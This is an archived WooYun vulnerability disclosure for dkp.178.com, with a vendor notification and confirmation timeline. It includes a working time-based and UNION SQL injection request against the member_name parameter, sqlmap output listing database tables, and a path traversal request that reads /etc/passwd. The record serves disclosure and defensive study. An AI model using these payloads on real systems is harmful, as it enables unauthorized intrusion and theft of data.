乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-06: 细节已通知厂商并且等待厂商处理中 2013-12-06: 厂商已经确认,细节仅向厂商公开 2013-12-16: 细节向核心白帽子及相关领域专家公开 2013-12-26: 细节向普通白帽子公开 2014-01-05: 细节向实习白帽子公开 2014-01-20: 细节向公众公开
注入和任意文件下载
分站dkp.178.com注入点http://dkp.178.com/?gid=119085&_action=search&_app=dkp&_controller=memberspost注入。member_name参数。7百多个表。有admin,貌似是管理员。用户名跟/etc/passwd泄漏的帐号有重叠。10个user表。貌似是用户信息。没发现密码~~
POST /?gid=119085&_action=search&_app=dkp&_controller=members HTTP/1.1Content-Length: 172Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://dkp.178.com:80/Cookie: _guest=g_52a0808b97cddHost: dkp.178.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*member_name=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&submit=%e6%90%9c%e7%b4%a2
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: member_name Type: UNION query Title: MySQL UNION query (NULL) - 7 columns Payload: member_name=if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/') UNION ALL SELECT NULL,CONCAT(0x7176687571,0x424e61524c68514c4666,0x717a796171),NULL,NULL,NULL,NULL,NULL,NULL#&submit=%e6%90%9c%e7%b4%a2---web application technology: Nginxback-end DBMS: MySQL 5Database: newdkp[726 tables]+------------------------+| admin || admin_session || bind_save || champion_item || champion_player || dkp_backup |
任意文件读取:
GET /?area=555&game_id=0&gid=1&guild=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%ac%e4%bc%9a%e5%90%8d%e7%a7%b0&server=1&_action=search&_app=dkp&_controller=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
危害等级:高
漏洞Rank:10
确认时间:2013-12-06 11:44
感谢!
暂无